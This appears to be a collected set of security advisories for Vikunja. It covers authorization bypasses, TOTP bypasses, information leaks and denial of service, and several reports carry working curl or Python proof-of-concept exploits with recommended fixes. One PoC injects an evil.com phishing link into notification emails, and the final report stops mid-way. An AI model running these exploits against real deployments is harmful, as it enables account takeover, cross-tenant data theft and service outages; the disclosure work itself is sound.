Where
-Infinity
0
Severity
8.7
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Vikunja before 2.6.0 fails to properly restrict access to the link-share hash field in single-share read endpoints, allowing read-only members to obtain the share's secret credential. Attackers can exchange the disclosed hash for a link-share JWT at the share's permission level to escalate privileges and perform unauthorized writes or administrative actions.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the Planka migrator that fails to enforce aggregate memory budgets during migration jobs. Authenticated attackers can submit migration requests pointing to attacker-controlled servers advertising numerous size-compliant attachments, exhausting worker memory and causing denial of service for all users.

First published (updated )
Severity
5.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Vikunja before 2.6.0 contains an API token scope bypass vulnerability in task read endpoints where authorization fails to inspect query string parameters. Attackers with limited token scopes can use the expand parameter to access restricted data like comments, reactions, and time entries without proper permission verification.

First published (updated )
Severity
5.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Vikunja before 2.6.0 fails to validate that user-supplied projectviewid in task-position requests belongs to the task's project. Authenticated attackers can insert task position rows into arbitrary other tenant project views via POST or PUT task-position endpoints.

First published (updated )
Severity
5.3
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Vikunja versions before 2.6.0 fail to properly validate link-share tokens in the v2 API user search endpoints. Attackers with a read-only share link can enumerate project users via the projects endpoint and confirm arbitrary usernames exist via the global search endpoint.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Vikunja before 2.6.0 contains an authentication bypass vulnerability in CalDAV BasicAuth endpoints that lack rate limiting protection. Remote unauthenticated attackers can issue unbounded credential-guessing requests against /dav, /.well-known, and /feeds routes to bypass the instance's anti-brute-force controls and compromise password-only accounts.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Vikunja versions before 2.6.0 fail to apply rate limiting to /api/v2 public authentication endpoints including login, register, password-reset, and OAuth token routes. Remote unauthenticated attackers can perform unbounded credential guessing, account enumeration, and password-reset flooding attacks without throttling restrictions.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the POST /api/v2/migration/csv/migrate endpoint that fails to limit parsed row cardinality. Authenticated attackers can upload multipart CSV files with millions of tiny records to exhaust process memory and terminate the API service.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Vikunja before 2.6.0 fails to apply pixel decode limits to avatar and project-background upload endpoints, allowing authenticated users to upload crafted images that decode to excessive pixel counts. Attackers can upload small images with extreme aspect ratios that consume significant CPU and memory during processing, causing denial of service through repeated or concurrent uploads.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Vikunja versions >= 0.24.0 and <= 2.3.0 contain a broken object level authorization (BOLA) vulnerability in the task-collection endpoint (GET /api/v1/projects/{project}/views/{view}/tasks). The endpoint loads the requested project view from the URL path without verifying the caller is authorized for it. For a link-share token holder, the task scope is pinned to the share's own project, but the view is taken from the attacker-controlled path and never re-validated. As a result, a holder of any project share link can read any other tenant's kanban bucket records — bucket titles and the full createdby user object (username, name, id) — for every view in the instance. The same missing pre-authorization view load also creates a project/view-ID existence oracle (404 vs. non-404) usable by link shares and ordinary authenticated users. Task contents remain constrained to the share's own project and are not disclosed. Fixed in 2.4.0.

First published (updated )
Severity
7.7
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Vikunja through 2.4.0 contains a principal-type confusion vulnerability where LinkSharing principals with id N are treated as user principals with users.id == N at three permission checks lacking type guards. Attackers with a link-share JWT can remove victims from teams, enumerate and delete victim bot users, or read team rosters by exploiting id collisions in the autoincrement space.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Vikunja before 2.2.1 contains an authorization flaw where the LinkSharing.ReadAll endpoint exposes share hashes to users with read access, enabling permission escalation to admin-level shares. The GetTaskAttachment endpoint performs permission checks against user-supplied task IDs but fetches attachments by sequential ID without verifying ownership, allowing attackers to download and delete all file attachments across all projects instance-wide.

First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Title Link Share JWT tokens remain valid for 72 hours after share deletion or permission downgrade

Description

Vikunja's link share authentication constructs authorization objects entirely from JWT claims without any server-side database validation. When a project owner deletes a link share or downgrades its permissions, all previously issued JWTs continue to grant the original permission level for up to 72 hours (the default service.jwtttl).

GetLinkShareFromClaims at pkg/models/linksharing.go lines 88-119 performs zero database queries — it builds the LinkSharing struct purely from JWT claim values (id, hash, projectid, permission, sharedByID). This struct is passed directly to permission checks:

| Function | File | Lines | DB queries | |----------|------|-------|------------| | GetLinkShareFromClaims | linksharing.go | 88-119 | 0 | | Project.CanRead (link share) | projectpermissions.go | 105-108 | 0 | | Project.CanWrite (link share) | projectpermissions.go | 50-53 | 0 | | Project.IsAdmin (link share) | projectpermissions.go | 192-194 | 0 |

Contrast with user tokens: User JWTs use a 10-minute TTL (ServiceJWTTTLShort) with sid claim and server-side sessions enabling revocation. Link share JWTs use a 72-hour TTL (ServiceJWTTTL) with no sid, no server-side session, and no refresh mechanism.

Permalink: - GetLinkShareFromClaims: pkg/models/linksharing.go:88-119 - NewLinkShareJWTAuthtoken: pkg/modules/auth/auth.go:141-160 - Permission checks: pkg/models/projectpermissions.go:50-53, 105-108, 192-194 - TTL defaults: pkg/config/config.go:337-339

PoC

bash 1. Create an Admin-level link share on project 42 curl -X PUT "https://vikunja.example.com/api/v1/projects/42/shares" \ -H "Authorization: Bearer <owner-jwt>" \ -H "Content-Type: application/json" \ -d '{"permission": 2}' Response: {"id": 5, "hash": "abc123", ...}

2. Obtain link share JWT (72h TTL, no sid claim) curl -X POST "https://vikunja.example.com/api/v1/shares/abc123/auth" Response: {"token": "<link-share-jwt>"}

3. Delete the link share curl -X DELETE "https://vikunja.example.com/api/v1/projects/42/shares/5" \ -H "Authorization: Bearer <owner-jwt>" 200 OK — share row removed from database

4. Use the deleted share's JWT — STILL WORKS for up to 72 hours curl -X GET "https://vikunja.example.com/api/v1/projects/42/tasks" \ -H "Authorization: Bearer <link-share-jwt>" 200 OK — full task list returned with Admin permissions

5. Permission downgrade variant: Delete Admin share → create Read-only share → old JWT still has Admin access

Impact

- Revoked link shares remain functional for up to 72 hours (default TTL) - Project owners cannot respond to security events (leaked URLs, access revocation) in real time - Permission downgrades have no effect on outstanding tokens - Scope: single project per token, severity scales with permission level (Admin > Write > Read)

Fix

Add database validation in GetLinkShareFromClaims:

go func GetLinkShareFromClaims(claims jwt.MapClaims) (share LinkSharing, err error) { id, is := claims["id"].(float64) if !is { return nil, &ErrLinkShareTokenInvalid{} } // Validate against database s := db.NewSession() defer s.Close() share, err = GetLinkShareByID(s, int64(id)) if err != nil { return nil, err // Share was deleted } // Verify permission not downgraded claimedPermission := Permission(claims["permission"].(float64)) if share.Permission < claimedPermission { return nil, &ErrLinkShareTokenInvalid{} } return share, nil }

Alternatives: shorter TTL with refresh mechanism, token blocklist, or session tracking matching user token pattern.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.

Details

The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:

go return auth.NewUserAuthTokenResponse(u, c, false)

There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:

go totpEnabled, err := user2.TOTPEnabledForUser(s, user) if totpEnabled { if u.TOTPPasscode == "" { = s.Rollback() return user2.ErrInvalidTOTPPasscode{} } , err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{ User: user, Passcode: u.TOTPPasscode, })

When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.

Proof of Concept

Tested on Vikunja v2.2.2 with Dex as the OIDC provider.

Setup: - Vikunja configured with emailfallback: true for Dex - Local user alice (id=1) has TOTP enabled

python import requests, re, html from urllib.parse import parseqs, urlparse

TARGET = "http://localhost:3456" DEX = "http://localhost:5556" API = f"{TARGET}/api/v1"

verify TOTP is required for local login r = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}) print(f"Local login without TOTP: {r.statuscode} code={r.json().get('code')}") Output: 412 code=1017 (TOTP required)

login via OIDC (same flow as VIK-020 PoC) s = requests.Session() r = s.get(f"{DEX}/dex/auth?clientid=vikunja" f"&redirecturi={TARGET}/auth/openid/dex" f"&responsetype=code&scope=openid+profile+email&state=x") action = html.unescape(re.search(r'action="([^"])"', r.text).group(1)) if not action.startswith("http"): action = DEX + action r = s.post(action, data={"login": "alice@test.com", "password": "password"}, allowredirects=False) approvalurl = DEX + r.headers["Location"] r = s.get(approvalurl) req = re.search(r'name="req" value="([^"])"', r.text).group(1) r = s.post(approvalurl, data={"req": req, "approval": "approve"}, allowredirects=False) code = parseqs(urlparse(r.headers["Location"]).query)["code"][0]

resp = requests.post(f"{API}/auth/openid/dex/callback", json={"code": code, "redirecturl": f"{TARGET}/auth/openid/dex"}) print(f"OIDC login: {resp.statuscode}")

user = requests.get(f"{API}/user", headers={"Authorization": f"Bearer {resp.json()['token']}"}).json() print(f"User: id={user['id']} username={user['username']}") TOTP was completely bypassed

Output: Local login without TOTP: 412 code=1017 OIDC login: 200 User: id=1 username=alice

Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.

Impact

When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.

This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing emailverified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.

Recommended Fix

Add a TOTP check in the OIDC callback before issuing the JWT:

go totpEnabled, err := user.TOTPEnabledForUser(s, u) if err != nil { = s.Rollback() return err } if totpEnabled { = s.Rollback() return echo.NewHTTPError(http.StatusForbidden, "TOTP verification required. Please use the local login endpoint.") } return auth.NewUserAuthTokenResponse(u, c, false)

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

Vikunja's scoped API token enforcement for custom project background routes is method-confused. A token with only projects.background can successfully delete a project background, while a token with only projects.backgrounddelete is rejected.

This is a scoped-token authorization bypass.

Details

I verified this locally on commit c5450fb55f5192508638cbb3a6956438452a712e.

Relevant code paths: pkg/models/apiroutes.go pkg/routes/routes.go pkg/modules/background/handler/background.go

Route registration exposes separate permissions for the same path: GET /api/v1/projects/:project/background -> projects.background DELETE /api/v1/projects/:project/background -> projects.backgrounddelete

At enforcement time, CanDoAPIRoute() falls back to the parent group and reconstructs the child permission from the path segments only. For the DELETE request, that becomes background, so the matcher accepts any token containing projects.background without re-checking the HTTP method or matching the stored route detail.

This matters because RemoveProjectBackground() is a real destructive operation: It checks project update rights. It deletes the background file if present. It clears the project's BackgroundFileID.

PoC

1. Log in as a user who can update a project that already has a background. 2. Create an API token with only: {"projects":["background"]} 3. Send: DELETE /api/v1/projects/<projectid>/background Authorization: Bearer <token> 4. Observe that the request succeeds and the project background is removed.

For comparison: 1. Create an API token with only: {"projects":["backgrounddelete"]} 2. Repeat the same DELETE request. 3. Observe that the request is rejected with 401 Unauthorized.

I confirmed this locally with three validations: 1. /api/v1/routes advertises both background and backgrounddelete. 2. The matcher unit test proves CanDoAPIRoute() accepts DELETE for background. 3. The webtest proves a real API token with only background successfully deletes the background.

Impact

Scoped API tokens can exceed their intended capability. A token intended for project background access can delete project backgrounds, which weakens the trust model for automation and third-party integrations that rely on narrowly scoped tokens.

The attacker needs a valid API token created by a user who has update rights on the target project, but the token itself only needs the weaker projects.background permission.

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.

Details

The CanUpdate check at pkg/models/projectpermissions.go:139-148 only requires CanWrite on the new parent project when changing parentprojectid. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.

When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.

go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } }

Proof of Concept

Tested on Vikunja v2.2.2.

1. victim creates "Parent Project" (id=3) 2. victim creates "Secret Child" (id=4) under Parent Project 3. victim shares Parent Project with attacker at Write level (permission=1) -> attacker inherits Write on Secret Child (no direct share) 4. attacker creates own "Attacker Root" project (id=5) 5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden 6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parentprojectid":5} -> 200 OK (reparenting succeeds, only requires Write) 7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK -> Project deleted. victim gets 404.

python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} victimtoken = login("victim", "Victim123!") attackertoken = login("attacker", "Attacker123!") victim creates parent -> child project hierarchy parent = requests.put(f"{API}/projects", headers=h(victimtoken), json={"title": "Parent Project"}).json() child = requests.put(f"{API}/projects", headers=h(victimtoken), json={"title": "Secret Child", "parentprojectid": parent["id"]}).json()

victim shares parent with attacker at Write (attacker inherits Write on child) requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victimtoken), json={"username": "attacker", "permission": 1})

attacker creates own root project own = requests.put(f"{API}/projects", headers=h(attackertoken), json={"title": "Attacker Root"}).json()

before: attacker cannot delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attackertoken)) print(f"DELETE before reparent: {r.statuscode}") # 403

exploit: reparent child under attacker's project r = requests.post(f"{API}/projects/{child['id']}", headers=h(attackertoken), json={"title": "Secret Child", "parentprojectid": own["id"]}) print(f"Reparent: {r.statuscode}") # 200

after: attacker can now delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attackertoken)) print(f"DELETE after reparent: {r.statuscode}") # 200 - escalated to Admin

victim lost access r = requests.get(f"{API}/projects/{child['id']}", headers=h(victimtoken)) print(f"Victim access: {r.statuscode}") # 404 - project gone

Output: DELETE before reparent: 403 Reparent: 200 DELETE after reparent: 200 Victim access: 404

The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.

Impact

Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.

Recommended Fix

Require Admin permission instead of Write when changing parentprojectid:

go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.IsAdmin(s, a) if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } canAdmin, err := p.IsAdmin(s, a) if err != nil { return false, err } if !canAdmin { return false, ErrGenericForbidden{} } }

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.

Details

The access control query at pkg/models/labelpermissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:

go has, err = s.Table("labels"). Select("labeltasks."). Join("LEFT", "labeltasks", "labeltasks.labelid = labels.id"). Where("labeltasks.labelid is not null OR labels.createdbyid = ?", createdByID). Or(cond). And("labels.id = ?", l.ID). Exist(ll)

The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while labeltasks.labelid IS NOT NULL (part of A) remains unconstrained.

Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.

Proof of Concept

Tested on Vikunja v2.2.2.

python import requests

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

atoken = login("labeler", "Labeler123!") btoken = login("snooper", "Snooper123!")

labeler creates private project, label, task, and assigns label proj = requests.put(f"{API}/projects", headers=h(atoken), json={"title": "Private Project"}).json() label = requests.put(f"{API}/labels", headers=h(atoken), json={"title": "CONFIDENTIAL-REVENUE", "hexcolor": "ff0000"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(atoken), json={"title": "Q4 revenue data"}).json() requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(atoken), json={"labelid": label["id"]})

snooper reads the label from labeler's private project r = requests.get(f"{API}/labels/{label['id']}", headers=h(btoken)) print(f"GET /labels/{label['id']}: {r.statuscode}") # 200 - should be 403 if r.statuscode == 200: data = r.json() print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE print(f"Creator: {data['createdby']['username']}") # labeler

Output: GET /labels/1: 200 Title: CONFIDENTIAL-REVENUE Creator: labeler

Label IDs are sequential integers, making enumeration straightforward.

Impact

Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.

Recommended Fix

Use explicit builder.And/builder.Or grouping:

go has, err = s.Table("labels"). Select("labeltasks."). Join("LEFT", "labeltasks", "labeltasks.labelid = labels.id"). Where(builder.And( builder.Eq{"labels.id": l.ID}, builder.Or( builder.And(builder.Expr("labeltasks.labelid is not null"), cond), builder.Eq{"labels.createdbyid": createdByID}, ), )). Exist(ll)

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.

Details

When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:

go if err != nil { if user2.IsErrInvalidTOTPPasscode(err) { user2.HandleFailedTOTPAuth(s, user) } = s.Rollback() return err }

HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.

The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.

Proof of Concept

Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).

python import requests, time, pyotp

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

setup: login, enroll and enable TOTP token = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!"}).json()["token"] secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"] totp = pyotp.TOTP(secret) requests.post(f"{API}/user/settings/totp/enable", headers=h(token), json={"passcode": totp.now()})

send 9 failed attempts (rate limit is 10/min) for i in range(1, 10): r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": "000000"}) print(f"Attempt {i}: {r.statuscode} code={r.json().get('code')}")

wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold) time.sleep(65) for i in range(10, 13): r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": "000000"}) print(f"Attempt {i}: {r.statuscode} code={r.json().get('code')}")

wait for rate limit, try with valid TOTP time.sleep(65) r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": totp.now()}) print(f"Valid TOTP login: {r.statuscode}") # 200 - account was never locked

Output: Attempt 1: 412 code=1017 ... Attempt 9: 412 code=1017 Attempt 10: 412 code=1017 Attempt 11: 412 code=1017 Attempt 12: 412 code=1017 Valid TOTP login: 200

The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.

Impact

An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.

Recommended Fix

Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:

go // Use a new session so the lockout persists regardless of caller's rollback lockoutSession := db.NewSession() defer lockoutSession.Close() err = user.SetStatus(lockoutSession, StatusAccountLocked) if err != nil { = lockoutSession.Rollback() return } = lockoutSession.Commit()

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

The CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance.

Details

GetTasksByUIDs at pkg/models/tasks.go:376-393 performs a global database query with no authorization check:

go func GetTasksByUIDs(s xorm.Session, uids []string, a web.Auth) (tasks []Task, err error) { tasks = []Task{} err = s.In("uid", uids).Find(&tasks) // ... }

The web.Auth parameter is accepted but never used for permission filtering. This function is called by: - GetResource at pkg/routes/caldav/listStorageProvider.go:266 (CalDAV GET) - GetResourcesByList at pkg/routes/caldav/listStorageProvider.go:199 (CalDAV REPORT multiget)

All other CalDAV operations enforce authorization: CreateResource checks CanCreate(), UpdateResource checks CanUpdate(), DeleteResource checks CanDelete(). Only the read operations skip authorization.

The project ID in the CalDAV URL is ignored. A request to /dav/projects/{attackerproject}/{victimtaskuid}.ics returns the victim's task regardless of which project ID is in the path.

Proof of Concept

Tested on Vikunja v2.2.2.

python import requests from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

alicetoken = login("alice", "Alice1234!") bobtoken = login("bob", "Bob12345!")

alice creates private project and task proj = requests.put(f"{API}/projects", headers=h(alicetoken), json={"title": "Private"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(alicetoken), json={"title": "Secret CEO salary 500k"}).json()

task UID must be set (normally done by CalDAV sync; here via sqlite for PoC) sqlite3 vikunja.db "UPDATE tasks SET uid='test-uid-001' WHERE id={task['id']};" TASKUID = "test-uid-001"

bob tries REST API r = requests.get(f"{API}/tasks/{task['id']}", headers=h(bobtoken)) print(f"REST API: {r.statuscode}") # 403

bob gets CalDAV token caldavtoken = requests.put(f"{API}/user/settings/token/caldav", headers=h(bobtoken)).json()["token"]

bob reads alice's task via CalDAV (project ID in URL doesn't matter) r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASKUID}.ics", auth=HTTPBasicAuth("bob", caldavtoken)) print(f"CalDAV: {r.statuscode}") # 200 print(r.text) # contains SUMMARY:Secret CEO salary 500k

Output: REST API: 403 CalDAV: 200 BEGIN:VCALENDAR VERSION:2.0 BEGIN:VTODO UID:test-uid-001 SUMMARY:Secret CEO salary 500k DUE:20260401T000000Z END:VTODO END:VCALENDAR

The REST API correctly returns 403, but CalDAV leaks the full task. The project ID in the CalDAV URL is ignored - bob can also use his own project ID and still get alice's task.

Impact

An authenticated CalDAV user who obtains a task UID (from shared calendar URLs, client sync logs, or enumeration) can read the full task details from any project in the instance, regardless of their access rights. This includes titles, descriptions, due dates, priority, labels, and reminders. In multi-tenant deployments, this exposes data across organizational boundaries.

Task UIDs are UUIDv4 and not trivially enumerable, but they are exposed in CalDAV resource paths, client synchronization logs, and shared calendar contexts.

Recommended Fix

Add a CanRead permission check on each returned task's project in both GetResource and GetResourcesByList:

go tasks, err := models.GetTasksByUIDs(s, []string{vcls.task.UID}, vcls.user) // ... for , t := range tasks { project := &models.Project{ID: t.ProjectID} can, , err := project.CanRead(s, vcls.user) if err != nil || !can { return nil, false, errs.ForbiddenError } }

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

The addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.

Details

The vulnerable function at pkg/models/tasks.go:1456-1464:

go func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time { for { t = t.Add(duration) if t.After(now) { break } } return t }

The RepeatAfter field accepts any positive integer (validated as range(0|9223372036854775807)), and DueDate accepts any valid timestamp including dates far in the past. When a task with repeatafter=1 and duedate=1900-01-01 is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).

Each request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.

Proof of Concept

Tested on Vikunja v2.2.2.

python import requests, time

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login", json={"username": "user1", "password": "User1pass!"}).json()["token"] h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "DoS Test"}).json()

create task with repeatafter=1 second and a date far in the past task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={"title": "DoS", "repeatafter": 1, "duedate": "1900-01-01T00:00:00Z"}).json()

mark done - triggers the vulnerable loop start = time.time() try: r = requests.post(f"{API}/tasks/{task['id']}", headers=h, json={"title": "DoS", "done": True}, timeout=120) print(f"Response: {r.statuscode} in {time.time()-start:.1f}s") except requests.exceptions.Timeout: print(f"TIMEOUT after {time.time()-start:.1f}s")

Output: TIMEOUT after 60.0s

The request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, duedate=2020-01-01 completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.

Impact

Any authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.

Recommended Fix

Replace the O(n) loop with O(1) arithmetic:

go func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time { if duration <= 0 { return t } diff := now.Sub(t) if diff <= 0 { return t.Add(duration) } intervals := int64(diff/duration) + 1 return t.Add(time.Duration(intervals) duration) }

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows <a> and <img> tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails.

Details

The overdue task notification at pkg/models/notifications.go:360 constructs a Markdown list entry:

go overdueLine += + task.Title + + "tasks/" + strconv.FormatInt(task.ID, 10) + ) ...

The task title is placed inside Markdown link syntax TITLE. A title containing ] and [ breaks the link structure. The assembled Markdown is converted to HTML by goldmark at pkg/notifications/mailrender.go:214, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows <a href> and <img src> with http/https URLs, the injected links and images survive sanitization and reach the email recipient.

The same pattern affects multiple notification types at notifications.go lines 72, 176, 227, and 318.

Proof of Concept

Tested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink).

python import requests

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}).json()["token"] h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "Shared"}).json()

create task with markdown injection in title + past due date requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": 'test](https://evil.com) [Click to verify your account', "duedate": "2026-03-26T00:00:00Z"})

create task with tracking pixel injection requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": '!', "duedate": "2026-03-26T00:00:00Z"})

enable overdue reminders for the user requests.post(f"{API}/user/settings/general", headers=h, json={ "emailremindersenabled": True, "overduetasksremindersenabled": True, "overduetasksreminderstime": "09:00"})

wait for the overdue notification cron to fire, then inspect the email

